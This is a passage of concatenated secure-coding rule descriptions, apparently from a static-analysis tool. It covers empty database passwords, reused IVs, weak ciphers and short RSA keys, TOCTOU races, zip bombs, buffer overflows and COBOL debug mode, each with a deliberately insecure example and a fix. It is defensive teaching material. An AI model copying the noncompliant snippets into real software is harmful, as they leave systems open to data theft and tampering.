The absence of a password for database access allows anyone to make modifications or deletions to the data stored within it. This poses a significant risk, as unauthorized changes can lead to data corruption, loss of critical information, or the introduction of malicious content. For example, an attacker could modify financial records, tamper with customer orders, or delete important files, causing severe disruptions to business processes and potentially leading to financial and legal consequences.

Overall, the lack of a password configured to access a database poses a serious security risk, enabling unauthorized access, data breaches, system compromise, and unwanted modifications or deletions. It is essential to address this vulnerability promptly to safeguard sensitive data, maintain system integrity, and protect the organization from potential harm.

How to fix it in Entity Framework Core

Code examples

The following code uses an empty password to connect to a SQL Server database.

The vulnerability can be fixed by using Windows authentication (sometimes referred to as integrated security).

Noncompliant code example

protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
{
  optionsBuilder.UseSqlServer("Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password="); // Noncompliant
}

Compliant solution

protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
{
  optionsBuilder.UseSqlServer("Server=myServerAddress;Database=myDataBase;Integrated Security=True");
}

How does this work?

Windows authentication (integrated security)

When the connection string includes the Integrated Security=true parameter, it enables Windows authentication (sometimes called integrated security) for the database connection. With integrated security, the user’s Windows credentials are used to authenticate and authorize access to the database. It eliminates the need for a separate username and password for the database connection. Integrated security simplifies authentication and leverages the existing Windows authentication infrastructure for secure database access in your C# application.

It’s important to note that when using integrated security, the user running the application must have the necessary permissions to access the database. Ensure that the user account running the application has the appropriate privileges and is granted access to the database.

The syntax employed in connection strings varies by provider:

Syntax

Supported by

Integrated Security=true;

SQL Server, Oracle, Postgres

Integrated Security=SSPI;

SQL Server, OLE DB

Integrated Security=yes;

MySQL

Trusted_Connection=true;

SQL Server

Trusted_Connection=yes;

ODBC

Note: Some providers such as MySQL do not support Windows authentication with .NET Core.

Pitfalls

Hard-coded passwords

It could be tempting to replace the empty password with a hard-coded one. Hard-coding passwords in the code can pose significant security risks. Here are a few reasons why it is not recommended:

1. Security Vulnerability: Hard-coded passwords can be easily discovered by anyone who has access to the code, such as other developers or attackers. This can lead to unauthorized access to the database and potential data breaches.
2. Lack of Flexibility: Hard-coded passwords make it difficult to change the password without modifying the code. If the password needs to be updated, it would require recompiling and redeploying the code, which can be time-consuming and error-prone.
3. Version Control Issues: Storing passwords in code can lead to version control issues. If the code is shared or stored in a version control system, the password will be visible to anyone with access to the repository, which is a security risk.

To mitigate these risks, it is recommended to use secure methods for storing and retrieving passwords, such as using environment variables, configuration files, or secure key management systems. These methods allow for better security, flexibility, and separation of sensitive information from the codebase.

Resources

• Create the Web.config file for an ASP.NET application

Standards

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A2 - Broken Authentication
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-521 - Weak Password Requirements

This vulnerability exposes encrypted data to a number of attacks whose goal is to recover the plaintext.

Why is this an issue?

Encryption algorithms are essential for protecting sensitive information and ensuring secure communications in a variety of domains. They are used for several important reasons:

• Confidentiality, privacy, and intellectual property protection
• Security during transmission or on storage devices
• Data integrity, general trust, and authentication

When selecting encryption algorithms, tools, or combinations, you should also consider two things:

1. No encryption is unbreakable.
2. The strength of an encryption algorithm is usually measured by the effort required to crack it within a reasonable time frame.

In the mode Cipher Block Chaining (CBC), each block is used as cryptographic input for the next block. For this reason, the first block requires an initialization vector (IV), also called a "starting variable" (SV).

If the same IV is used for multiple encryption sessions or messages, each new encryption of the same plaintext input would always produce the same ciphertext output. This may allow an attacker to detect patterns in the ciphertext.

What is the potential impact?

After retrieving encrypted data and performing cryptographic attacks on it on a given timeframe, attackers can recover the plaintext that encryption was supposed to protect.

Depending on the recovered data, the impact may vary.

Below are some real-world scenarios that illustrate the potential impact of an attacker exploiting the vulnerability.

Additional attack surface

By modifying the plaintext of the encrypted message, an attacker may be able to trigger additional vulnerabilities in the code. An attacker can further exploit a system to obtain more information.
Encrypted values are often considered trustworthy because it would not be possible for a third party to modify them under normal circumstances.

Breach of confidentiality and privacy

When encrypted data contains personal or sensitive information, its retrieval by an attacker can lead to privacy violations, identity theft, financial loss, reputational damage, or unauthorized access to confidential systems.

In this scenario, a company, its employees, users, and partners could be seriously affected.

The impact is twofold, as data breaches and exposure of encrypted data can undermine trust in the organization, as customers, clients and stakeholders may lose confidence in the organization’s ability to protect their sensitive data.

Legal and compliance issues

In many industries and locations, there are legal and compliance requirements to protect sensitive data. If encrypted data is compromised and the plaintext can be recovered, companies face legal consequences, penalties, or violations of privacy laws.

How to fix it in .NET

Code examples

Noncompliant code example

using System.IO;
using System.Security.Cryptography;

public void Encrypt(byte[] key, byte[] dataToEncrypt, MemoryStream target)
{
    var aes = new AesCryptoServiceProvider();

    byte[] iv     = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
    var encryptor = aes.CreateEncryptor(key, iv); // Noncompliant

    var cryptoStream = new CryptoStream(target, encryptor, CryptoStreamMode.Write);
    var swEncrypt    = new StreamWriter(cryptoStream);

    swEncrypt.Write(dataToEncrypt);
}

Compliant solution

In this example, the code implicitly uses a number generator that is considered strong, thanks to aes.IV.

using System.IO;
using System.Security.Cryptography;

public void Encrypt(byte[] key, byte[] dataToEncrypt, MemoryStream target)
{
    var aes = new AesCryptoServiceProvider();

    var encryptor = aes.CreateEncryptor(key, aes.IV);

    var cryptoStream = new CryptoStream(target, encryptor, CryptoStreamMode.Write);
    var swEncrypt    = new StreamWriter(cryptoStream);

    swEncrypt.Write(dataToEncrypt);
}

How does this work?

Use unique IVs

To ensure high security, initialization vectors must meet two important criteria:

• IVs must be unique for each encryption operation.
• For CBC and CFB modes, a secure FIPS-compliant random number generator should be used to generate unpredictable IVs.

The IV does not need be secret, so the IV or information sufficient to determine the IV may be transmitted along with the ciphertext.

In the previous non-compliant example, the problem is not that the IV is hard-coded.
It is that the same IV is used for multiple encryption attempts.

Resources

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• Mobile AppSec Verification Standard - Cryptography Requirements
• OWASP Mobile Top 10 2016 Category M5 - Insufficient Cryptography
• MITRE, CWE-329 - Not Using an Unpredictable IV with CBC Mode
• NIST, SP-800-38A - Recommendation for Block Cipher Modes of Operation

Development tools and frameworks usually have options to make debugging easier for developers. Although these features are useful during development, they should never be enabled for applications deployed in production. Debug instructions or error messages can leak detailed information about the system, like the application’s path or file names.

Ask Yourself Whether

• The code or configuration enabling the application debug features is deployed on production servers or distributed to end users.
• The application runs by default with debug features activated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not enable debugging features on production servers

WITH DEBUGGING MODE activates all debug lines (ones with 'D' or 'd' in the indicator area). This clause should not be used in production.

Sensitive Code Example

SOURCE-COMPUTER. IBM-370 WITH DEBUGGING MODE.

Compliant Solution

SOURCE-COMPUTER. IBM-370.

See

• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-489 - Active Debug Code
• MITRE, CWE-215 - Information Exposure Through Debug Information

Although the WHERE condition is optional in a SELECT statement, for performance and security reasons, a WHERE clause should always be specified to prevent reading the whole table.

Ask Yourself Whether

• The whole table is not required.
• The table contains sensitive information.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Add a "WHERE" condition to "SELECT" statements.

Sensitive Code Example

SELECT * FROM db_persons INTO us_persons

Compliant Solution

SELECT * FROM db_persons INTO us_persons WHERE country IS 'US'

Exceptions

Not having a WHERE clause is acceptable in read-only cursors as results are generally sorted and it is possible to stop processing in the middle.

It is a bad practice to use Dynamic SQL. It differs from static embedded SQL in that part or all of the actual SQL commands may be stored in a host variable that is built on the fly during execution of the program. In the extreme case, the SQL commands are generated in their entirety by the application program at run time. While dynamic SQL is more flexible than static embedded SQL, it does require additional overhead and is much more difficult to understand and to maintain.

Moreover, dynamic SQL may expose the application to SQL injection vulnerabilities.

This rule raises an issue when PREPARE or EXECUTE IMMEDIATE is used.

Ask Yourself Whether

• The SQL statement can be written without dynamic clauses.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not use dynamic clauses in "SELECT" statements.

Sensitive Code Example

EXEC SQL PREPARE SEL INTO :SQLDA FROM :STMTBUF END-EXEC.

Compliant Solution

EXEC SQL SELECT * FROM tableName END-EXEC.

See

• OWASP Top 10 2021 Category A3 - Injection
• OWASP Top 10 2017 Category A1 - Injection
• MITRE, CWE-89 - SQL Injection
• SANS Top 25 - Insecure Interaction Between Components

Why is this an issue?

Defining a subprogram to be called at runtime is possible but ill-advised. This extremely powerful feature can quite easily be misused, and even when used correctly, it highly increases the overall complexity of the program, and makes it impossible before runtime to know exactly what will be executed. Therefore defining the subprogram to be called at runtime is a feature that should be avoided.

Noncompliant code example

MOVE SOMETHING TO MY_SUBPROG.
...
CALL MY_SUBPROG.

Compliant solution

01 MY_SUBPROG PIC X(10) VALUE "SUB123".
....
CALL MY_SUBPROG.

This rule is deprecated; use S4507 instead.

Why is this an issue?

Debug statements (ones with 'D' or 'd' in the indicator area) should not be executed in production, but the WITH DEBUGGING MODE clause activates all debug lines, which could expose sensitive information to attackers. Therefore the WITH DEBUGGING MODE clause should be removed.

Noncompliant code example

SOURCE-COMPUTER. IBM-370 WITH DEBUGGING MODE.

Compliant solution

SOURCE-COMPUTER. IBM-370.

Resources

• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-489 - Active Debug Code

Why is this an issue?

The DISPLAY statement outputs data to standard out or some other destination and could reveal sensitive information. Therefore, it should be avoided.

Noncompliant code example

DISPLAY "hello world"  *> Noncompliant

Resources

• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-489 - Active Debug Code

The purpose of changing the current working directory is to modify the base path when the process performs relative path resolutions. When the working directory cannot be changed, the process keeps the directory previously defined as the active working directory. Thus, verifying the success of chdir() type of functions is important to prevent unintended relative paths and unauthorized access.

Ask Yourself Whether

• The success of changing the working directory is relevant for the application.
• Changing the working directory is required by chroot to make the new root effective.
• Subsequent disk operations are using relative paths.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

After changing the current working directory verify the success of the operation and handle errors.

Sensitive Code Example

The chdir operation could fail and the process still has access to unauthorized resources. The return code should be verified:

const char* any_dir = "/any/";
chdir(any_dir); // Sensitive: missing check of the return value

int fd = open(any_dir, O_RDONLY | O_DIRECTORY);
fchdir(fd); // Sensitive: missing check of the return value

Compliant Solution

Verify the return code of chdir and handle errors:

const char* root_dir = "/jail/";
if (chdir(root_dir) == -1) {
  exit(-1);
} // Compliant

int fd = open(any_dir, O_RDONLY | O_DIRECTORY);
if(fchdir(fd) == -1) {
  exit(-1);
} // Compliant

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-252 - Unchecked Return Value
• man7.org - chdir

Why is this an issue?

Pluggable authentication module (PAM) is a mechanism used on many unix variants to provide a unified way to authenticate users, independently of the underlying authentication scheme.

When authenticating users, it is strongly recommended to check the validity of the account (not locked, not expired …​), otherwise it leads to unauthorized access to resources.

Noncompliant code example

The account validity is not checked with pam_acct_mgmt when authenticating a user with pam_authenticate:

int valid(pam_handle_t *pamh) {
    if (pam_authenticate(pamh, PAM_DISALLOW_NULL_AUTHTOK) != PAM_SUCCESS) { // Noncompliant - missing pam_acct_mgmt
        return -1;
    }

    return 0;
}

The return value of pam_acct_mgmt is not checked:

int valid(pam_handle_t *pamh) {
    if (pam_authenticate(pamh, PAM_DISALLOW_NULL_AUTHTOK) != PAM_SUCCESS) {
        return -1;
    }
    pam_acct_mgmt(pamh, 0); // Noncompliant
    return 0;
}

Compliant solution

When authenticating a user with pam_authenticate, check the account validity with pam_acct_mgmt:

int valid(pam_handle_t *pamh) {
    if (pam_authenticate(pamh, PAM_DISALLOW_NULL_AUTHTOK) != PAM_SUCCESS) {
        return -1;
    }
    if (pam_acct_mgmt(pamh, 0) != PAM_SUCCESS) { // Compliant
        return -1;
    }
    return 0;
}

Resources

• OWASP Top 10 2021 Category A7 - Identification and Authentication Failures
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-304 - Missing Critical Step in Authentication

Why is this an issue?

"Time Of Check to Time Of Use" (TOCTOU) vulnerabilities occur when an application:

• First, checks permissions or attributes of a file: for instance, is a file a symbolic link?
• Next, performs some operations such as writing data to this file.

The application cannot assume the state of the file is unchanged between these two steps, there is a race condition (ie: two different processes can access and modify the same shared object/file at the same time, which can lead to privilege escalation, denial of service and other unexpected results).

For instance, attackers can benefit from this situation by creating a symbolic link to a sensitive file directly after the first step (eg in Unix: /etc/passwd) and try to elevate their privileges (eg: if the written data has the correct /etc/passwd file format).

To avoid TOCTOU vulnerabilities, one possible solution is to do a single atomic operation for the "check" and "use" actions, therefore removing the race condition window. Another possibility is to use file descriptors. This way the binding of the file descriptor to the file cannot be changed by a concurrent process.

Noncompliant code example

A "check function" (for instance access, stat …​ in this case access to verify the existence of a file) is used, followed by a "use function" (open, fopen …​) to write data inside a non existing file. These two consecutive calls create a TOCTOU race condition:

#include <stdio.h>

void fopen_with_toctou(const char *file) {
  if (access(file, F_OK) == -1 && errno == ENOENT) {
    // the file doesn't exist
    // it is now created in order to write some data inside
    FILE *f = fopen(file, "w"); // Noncompliant: a race condition window exist from access() call to fopen() call calls
    if (NULL == f) {
      /* Handle error */
    }

    if (fclose(f) == EOF) {
      /* Handle error */
    }
  }
}

Compliant solution

If the file already exists on the disk, fopen with x mode will fail:

#include <stdio.h>

void open_without_toctou(const char *file) {
  FILE *f = fopen(file, "wx"); // Compliant
  if (NULL == f) {
    /* Handle error */
  }
  /* Write to file */
  if (fclose(f) == EOF) {
    /* Handle error */
  }
}

A more generic solution is to use "file descriptors":

void open_without_toctou(const char *file) {
  int fd = open(file, O_CREAT | O_EXCL | O_WRONLY);
  if (-1 != fd) {
    FILE *f = fdopen(fd, "w");  // Compliant
  }
}

Resources

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-367 - Time-of-check Time-of-use (TOCTOU) Race Condition
• CERT, FIO45-C. - Avoid TOCTOU race conditions while accessing files

Setting capabilities can lead to privilege escalation.

Linux capabilities allow you to assign narrow slices of root's permissions to files or processes. A thread with capabilities bypasses the normal kernel security checks to execute high-privilege actions such as mounting a device to a directory, without requiring (additional) root privileges.

Ask Yourself Whether

Capabilities are granted:

• To a process that does not require all capabilities to do its job.
• To a not trusted process.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Capabilities are high privileges, traditionally associated with superuser (root), thus make sure that the most restrictive and necessary capabilities are assigned to files and processes.

Sensitive Code Example

When setting capabilities:

cap_t caps = cap_init();
cap_value_t cap_list[2];
cap_list[0] = CAP_FOWNER;
cap_list[1] = CAP_CHOWN;
cap_set_flag(caps, CAP_PERMITTED, 2, cap_list, CAP_SET);

cap_set_file("file", caps); // Sensitive
cap_set_fd(fd, caps); // Sensitive
cap_set_proc(caps); // Sensitive
capsetp(pid, caps); // Sensitive
capset(hdrp, datap); // Sensitive: is discouraged to be used because it is a system call

When setting SUID/SGID attributes:

chmod("file", S_ISUID|S_ISGID); // Sensitive
fchmod(fd, S_ISUID|S_ISGID); // Sensitive

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2017 Category A5 - Broken Access Control
• MITRE, CWE-250 - Execution with Unnecessary Privileges
• MITRE, CWE-266 - Incorrect Privilege Assignment
• False Boundaries and Arbitrary Code Execution
• Linux manual page - capabilities(7)

Successful Zip Bomb attacks occur when an application expands untrusted archive files without controlling the size of the expanded data, which can lead to denial of service. A Zip bomb is usually a malicious archive file of a few kilobytes of compressed data but turned into gigabytes of uncompressed data. To achieve this extreme compression ratio, attackers will compress irrelevant data (eg: a long string of repeated bytes).

Ask Yourself Whether

Archives to expand are untrusted and:

• There is no validation of the number of entries in the archive.
• There is no validation of the total size of the uncompressed data.
• There is no validation of the ratio between the compressed and uncompressed archive entry.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

• Define and control the threshold for maximum total size of the uncompressed data.
• Count the number of file entries extracted from the archive and abort the extraction if their number is greater than a predefined threshold, in particular it’s not recommended to recursively expand archives (an entry of an archive could be also an archive).

Sensitive Code Example

#include <archive.h>
#include <archive_entry.h>
// ...

void f(const char *filename, int flags) {
  struct archive_entry *entry;
  struct archive *a = archive_read_new();
  struct archive *ext = archive_write_disk_new();
  archive_write_disk_set_options(ext, flags);
  archive_read_support_format_tar(a);

  if ((archive_read_open_filename(a, filename, 10240))) {
    return;
  }

  for (;;) {
    int r = archive_read_next_header(a, &entry);
    if (r == ARCHIVE_EOF) {
      break;
    }
    if (r != ARCHIVE_OK) {
      return;
    }
  }
  archive_read_close(a);
  archive_read_free(a);

  archive_write_close(ext);
  archive_write_free(ext);
}

Compliant Solution

#include <archive.h>
#include <archive_entry.h>
// ...

int f(const char *filename, int flags) {
  const int max_number_of_extraced_entries = 1000;
  const int64_t max_file_size = 1000000000; // 1 GB

  int number_of_extraced_entries = 0;
  int64_t total_file_size = 0;

  struct archive_entry *entry;
  struct archive *a = archive_read_new();
  struct archive *ext = archive_write_disk_new();
  archive_write_disk_set_options(ext, flags);
  archive_read_support_format_tar(a);
  int status = 0;

  if ((archive_read_open_filename(a, filename, 10240))) {
    return -1;
  }

  for (;;) {
    number_of_extraced_entries++;
    if (number_of_extraced_entries > max_number_of_extraced_entries) {
      status = 1;
      break;
    }

    int r = archive_read_next_header(a, &entry);
    if (r == ARCHIVE_EOF) {
      break;
    }
    if (r != ARCHIVE_OK) {
      status = -1;
      break;
    }

    int file_size = archive_entry_size(entry);
    total_file_size += file_size;
    if (total_file_size > max_file_size) {
      status = 1;
      break;
    }
  }
  archive_read_close(a);
  archive_read_free(a);

  archive_write_close(ext);
  archive_write_free(ext);

  return status;
}

See

• OWASP Top 10 2021 Category A1 - Broken Access Control
• OWASP Top 10 2021 Category A5 - Security Misconfiguration
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
• CERT, IDS04-J. - Safely extract files from ZipInputStream
• bamsoftware.com - A better Zip Bomb

When using sprintf , it’s up to the developer to make sure the size of the buffer to be written to is large enough to avoid buffer overflows. Buffer overflows can cause the program to crash at a minimum. At worst, a carefully crafted overflow can cause malicious code to be executed.

Ask Yourself Whether

• if the provided buffer is large enough for the result of any possible call to the sprintf function (including all possible format strings and all possible additional arguments).

There is a risk if you answered no to the above question.

Recommended Secure Coding Practices

There are fundamentally safer alternatives. snprintf is one of them. It takes the size of the buffer as an additional argument, preventing the function from overflowing the buffer.

• Use snprintf instead of sprintf. The slight performance overhead can be afforded in a vast majority of projects.
• Check the buffer size passed to snprintf.

If you are working in C++, other safe alternative exist:

• std::string should be the prefered type to store strings
• You can format to a string using std::ostringstream
• Since C++20, std::format is also available to format strings

Sensitive Code Example

sprintf(str, "%s", message);   // Sensitive: `str` buffer size is not checked and it is vulnerable to overflows

Compliant Solution

snprintf(str, sizeof(str), "%s", message); // Prevent overflows by enforcing a maximum size for `str` buffer

Exceptions

It is a very common and acceptable pattern to compute the required size of the buffer with a call to snprintf with the same arguments into an empty buffer (this will fail, but return the necessary size), then to call sprintf as the bound check is not needed anymore. Note that 1 needs to be added by the size reported by snprintf to account for the terminal null character.

size_t buflen = snprintf(0, 0, "%s", message);
char* buf = malloc(buflen + 1); // For the final 0
sprintf(buf, "%s", message);{code}

See

• OWASP Top 10 2021 Category A6 - Vulnerable and Outdated Components
• OWASP Top 10 2017 Category A9 - Using Components with Known Vulnerabilities
• MITRE, CWE-676 - Use of Potentially Dangerous Function
• MITRE, CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer
• SANS Top 25 - Risky Resource Management

This vulnerability makes it possible that the cleartext of the encrypted message might be recoverable without prior knowledge of the key.

Why is this an issue?

Encryption algorithms are essential for protecting sensitive information and ensuring secure communication in various domains. They are used for several important reasons:

• Confidentiality, privacy, and intellectual property protection.
• Security during transmission or on storage devices.
• Data integrity, general trust, and authentication.

When selecting encryption algorithms, tools, or combinations, you should also consider two things:

1. No encryption is unbreakable.
2. The strength of an encryption algorithm is usually measured by the effort required to crack it within a reasonable time frame.

For these reasons, as soon as cryptography is included in a project, it is important to choose encryption algorithms that are considered strong and secure by the cryptography community.

What is the potential impact?

The cleartext of an encrypted message might be recoverable. Additionally, it might be possible to modify the cleartext of an encrypted message.

Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.

Theft of sensitive data

The encrypted message might contain data that is considered sensitive and should not be known to third parties.

By using a weak algorithm the likelihood that an attacker might be able to recover the cleartext drastically increases.

Additional attack surface

By modifying the cleartext of the encrypted message it might be possible for an attacker to trigger other vulnerabilities in the code. Encrypted values are often considered trusted, since under normal circumstances it would not be possible for a third party to modify them.

How to fix it in Botan

Code examples

The following code contains examples of algorithms that are not considered highly resistant to cryptanalysis and thus should be avoided.

Noncompliant code example

#include <botan/cipher_mode.h>

void encrypt() {
  Botan::Cipher_Mode::create("DES/CBC/PKCS7", Botan::ENCRYPTION); // Noncompliant
}

Compliant solution

#include <botan/cipher_mode.h>

void encrypt() {
  Botan::Cipher_Mode::create("AES-256/GCM", Botan::ENCRYPTION);
}

How does this work?

Use a secure algorithm

It is highly recommended to use an algorithm that is currently considered secure by the cryptographic community. A common choice for such an algorithm is the Advanced Encryption Standard (AES).

For block ciphers, it is not recommended to use algorithms with a block size that is smaller than 128 bits.

Resources

Documentation

• Botan - Handbook
• OpenSSL - Cookbook

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• SANS Top 25 - Porous Defenses

This vulnerability exposes encrypted data to a number of attacks whose goal is to recover the plaintext.

Why is this an issue?

Encryption algorithms are essential for protecting sensitive information and ensuring secure communications in a variety of domains. They are used for several important reasons:

• Confidentiality, privacy, and intellectual property protection
• Security during transmission or on storage devices
• Data integrity, general trust, and authentication

When selecting encryption algorithms, tools, or combinations, you should also consider two things:

1. No encryption is unbreakable.
2. The strength of an encryption algorithm is usually measured by the effort required to crack it within a reasonable time frame.

For these reasons, as soon as cryptography is included in a project, it is important to choose encryption algorithms that are considered strong and secure by the cryptography community.

For AES, the weakest modes are CBC (Cipher Block Chaining) and ECB

(Electronic Codebook), as they are either vulnerable to padding oracles or do not provide authentication mechanisms.

And for RSA, the weakest algorithms are either using it without padding or using the PKCS1v1.5 padding scheme.

What is the potential impact?

The cleartext of an encrypted message might be recoverable. Additionally, it might be possible to modify the cleartext of an encrypted message.

Below are some real-world scenarios that illustrate possible impacts of an attacker exploiting the vulnerability.

Theft of sensitive data

The encrypted message might contain data that is considered sensitive and should not be known to third parties.

By using a weak algorithm the likelihood that an attacker might be able to recover the cleartext drastically increases.

Additional attack surface

By modifying the cleartext of the encrypted message it might be possible for an attacker to trigger other vulnerabilities in the code. Encrypted values are often considered trusted, since under normal circumstances it would not be possible for a third party to modify them.

How to fix it in Botan

Code examples

Noncompliant code example

Example with a symmetric cipher, AES:

#include <botan/cipher_mode.h>

void encrypt() {
  Botan::Cipher_Mode::create("AES-256/ECB", Botan::ENCRYPTION); // Noncompliant
}

Example with an asymmetric cipher, RSA:

#include <botan/rng.h>
#include <botan/auto_rng.h>
#include <botan/rsa.h>
#include <botan/pubkey.h>

void encrypt() {
  std::unique_ptr<Botan::RandomNumberGenerator>   rng(new Botan::AutoSeeded_RNG);
  Botan::RSA_PrivateKey                           rsaKey(*rng.get(), 2048);

  Botan::PK_Encryptor_EME(rsaKey, *rng.get(), "PKCS1v15"); // Noncompliant
}

Compliant solution

For the AES symmetric cipher, use the GCM mode:

#include <botan/cipher_mode.h>

void encrypt() {
  Botan::Cipher_Mode::create("AES-256/GCM", Botan::ENCRYPTION);
}

For the RSA asymmetric cipher, use the Optimal Asymmetric Encryption Padding (OAEP):

#include <botan/rng.h>
#include <botan/auto_rng.h>
#include <botan/rsa.h>
#include <botan/pubkey.h>

void encrypt() {
  std::unique_ptr<Botan::RandomNumberGenerator>   rng(new Botan::AutoSeeded_RNG);
  Botan::RSA_PrivateKey                           rsaKey(*rng.get(), 2048);

  Botan::PK_Encryptor_EME(rsaKey, *rng.get(), "OAEP");
}

How does this work?

As a rule of thumb, use the cryptographic algorithms and mechanisms that are considered strong by the cryptographic community.

Appropriate choices are currently the following.

For AES: Use Galois/Counter mode (GCM)

GCM mode combines encryption with authentication and integrity checks using a cryptographic hash function and provides both confidentiality and authenticity of data.

Other similar modes are:

• CCM: Counter with CBC-MAC
• CWC: Cipher Block Chaining with Message Authentication Code
• EAX: Encrypt-and-Authenticate
• IAPM: Integer Authenticated Parallelizable Mode
• OCB: Offset Codebook Mode

It is also possible to use AES-CBC with HMAC for integrity checks. However, it

is considered more straightforward to use AES-GCM directly instead.

For RSA: use the OAEP scheme

The Optimal Asymmetric Encryption Padding scheme (OAEP) adds randomness and a secure hash function that strengthens the regular inner workings of RSA.

Resources

Articles & blog posts

• Microsoft, Timing vulnerabilities with CBC-mode symmetric decryption using padding
• Wikipedia, Padding Oracle Attack
• Wikipedia, Chosen-Ciphertext Attack
• Wikipedia, Chosen-Plaintext Attack
• Wikipedia, Semantically Secure Cryptosystems
• Wikipedia, OAEP
• Wikipedia, Galois/Counter Mode

Standards

• OWASP Top 10 2021 Category A2 - Cryptographic Failures
• OWASP Top 10 2017 Category A6 - Security Misconfiguration
• MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
• SANS Top 25 - Porous Defenses

Why is this an issue?

Array overruns and buffer overflows happen when memory access accidentally goes beyond the boundary of the allocated array or buffer. These overreaching accesses cause some of the most damaging, and hard to track defects.

When the buffer overflow happens while reading a buffer, it can expose sensitive data that happens to be located next to the buffer in memory. When it happens while writing a buffer, it can be used to inject code or to wipe out sensitive memory.

This rule detects when a POSIX function takes one argument that is a buffer and another one that represents the size of the buffer, but the two arguments do not match.

Noncompliant code example

char array[10];
initialize(array);
void *pos = memchr(array, '@', 42); // Noncompliant, buffer overflow that could expose sensitive data

Compliant solution

char array[10];
initialize(array);
void *pos = memchr(array, '@', 10);

Exceptions

Functions related to sockets using the type socklen_t are not checked. This is because these functions are using a C-style polymorphic pattern using union. It relies on a mismatch between allocated memory and sizes of structures and it creates false positives.

Resources

• OWASP Top 10 2017 Category A9 - Using Components with Known Vulnerabilities
• MITRE, CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer
• MITRE, CWE-131 - Incorrect Calculation of Buffer Size
• MITRE, CWE-788 - Access of Memory Location After End of Buffer
• CERT, ARR30-C. - Do not form or use out-of-bounds pointers or array subscripts
• CERT, STR50-CPP. - Guarantee that storage for strings has sufficient space for character data and the null terminator

This vulnerability exposes encrypted data to attacks whose goal is to recover the plaintext.

Why is this an issue?

Encryption algorithms are essential for protecting sensitive information and ensuring secure communications in a variety of domains. They are used for several important reasons:

• Confidentiality, privacy, and intellectual property protection
• Security during transmission or on storage devices
• Data integrity, general trust, and authentication

When selecting encryption algorithms, tools, or combinations, you should also consider two things:

1. No encryption is unbreakable.
2. The strength of an encryption algorithm is usually measured by the effort required to crack it within a reasonable time frame.

In today’s cryptography, the length of the key directly affects the security level of cryptographic algorithms.

Note that depending on the algorithm, the term key refers to a different mathematical property. For example:

• For RSA, the key is the product of two large prime numbers, also called the modulus.
• For AES and Elliptic Curve Cryptography (ECC), the key is only a sequence of randomly generated bytes.
  • In some cases, AES keys are derived from a master key or a passphrase using a Key Derivation Function (KDF) like PBKDF2 (Password-Based Key Derivation Function 2)

If an application uses a key that is considered short and insecure, the encrypted data is exposed to attacks aimed at getting at the plaintext.

In general, it is best practice to expect a breach: that a user or organization with malicious intent will perform cryptographic attacks on this data after obtaining it by other means.

What is the potential impact?

After retrieving encrypted data and performing cryptographic attacks on it on a given timeframe, attackers can recover the plaintext that encryption was supposed to protect.

Depending on the recovered data, the impact may vary.

Below are some real-world scenarios that illustrate the potential impact of an attacker exploiting the vulnerability.

Additional attack surface

By modifying the plaintext of the encrypted message, an attacker may be able to trigger additional vulnerabilities in the code. An attacker can further exploit a system to obtain more information.
Encrypted values are often considered trustworthy because it would not be possible for a third party to modify them under normal circumstances.

Breach of confidentiality and privacy

When encrypted data contains personal or sensitive information, its retrieval by an attacker can lead to privacy violations, identity theft, financial loss, reputational damage, or unauthorized access to confidential systems.

In this scenario, the company, its employees, users, and partners could be seriously affected.

The impact is twofold, as data breaches and exposure of encrypted data can undermine trust in the organization, as customers, clients and stakeholders may lose confidence in the organization’s ability to protect their sensitive data.

Legal and compliance issues

In many industries and locations, there are legal and compliance requirements to protect sensitive data. If encrypted data is compromised and the plaintext can be recovered, companies face legal consequences, penalties, or violations of privacy laws.

How to fix it in Botan

Code examples

The following code examples either explicitly or implicitly generate keys. Note that there are differences in the size of the keys depending on the algorithm.

Due to the mathematical properties of the algorithms, the security requirements for the key size vary depending on the algorithm.
For example, a 256-bit ECC key provides about the same level of security as a 3072-bit RSA key and a 128-bit symmetric key.

Noncompliant code example

Here is an example of a private key generation with RSA:

#include <botan/pubkey.h>
#include <botan/rng.h>
#include <botan/rsa.h>

void encrypt() {
    std::unique_ptr<Botan::RandomNumberGenerator>   rng(new Botan::System_RNG);
    Botan::RSA_PrivateKey                           rsaKey(*rng, 1024); // Noncompliant
}

Here is an example with the generation of a key as part of a Discrete Logarithmic (DL) group, a Digital Signature Algorithm (DSA) parameter:

#include <botan/dl_group.h>

void encrypt() {
